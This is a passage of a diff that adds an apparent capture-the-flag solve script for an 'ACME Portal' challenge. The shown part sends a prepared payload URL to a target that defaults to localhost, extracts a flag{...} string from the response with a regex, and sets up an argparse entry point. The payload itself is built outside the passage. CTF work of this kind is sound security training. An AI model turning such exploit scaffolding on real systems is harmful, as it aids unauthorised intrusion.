+ print(f"[*] Payload : {payload}")
+ print(f"[*] Encoded URL : {url}")
+ print()
+
+ try:
+ req = urllib.request.Request(url)
+ with urllib.request.urlopen(req, timeout=15) as resp:
+ body = resp.read().decode("utf-8")
+ except Exception as e:
+ print(f"[!] Request failed: {e}")
+ sys.exit(1)
+
+ # Extract flag from response body using regex
+ match = re.search(r"flag\{[^}]+\}", body)
+ if match:
+ flag = match.group(0)
+ print(f"[+] Flag found!")
+ print(f"[+] ══════════════════════════════════════")
+ print(f"[+] {flag}")
+ print(f"[+] ══════════════════════════════════════")
+ return flag
+ else:
+ print("[!] Flag not found in response. Raw output snippet:")
+ # Print a small chunk of response for debugging
+ start = body.find("OUTPUT")
+ snippet = body[start:start+500] if start != -1 else body[:500]
+ print(snippet)
+ sys.exit(1)
+
+
+def main():
+ print(BANNER)
+ parser = argparse.ArgumentParser(description="ACME Portal CTF Solve Script")
+ parser.add_argument(
+ "--host",
+ default="http://localhost:5000",
+ help="Base URL of the target (default: http://localhost:5000)"
+ )
+ args = parser.parse_args()
+ host = args.host.rstrip("/")
+ exploit(host)
+
+
+if __name__ == "__main__":
+ main()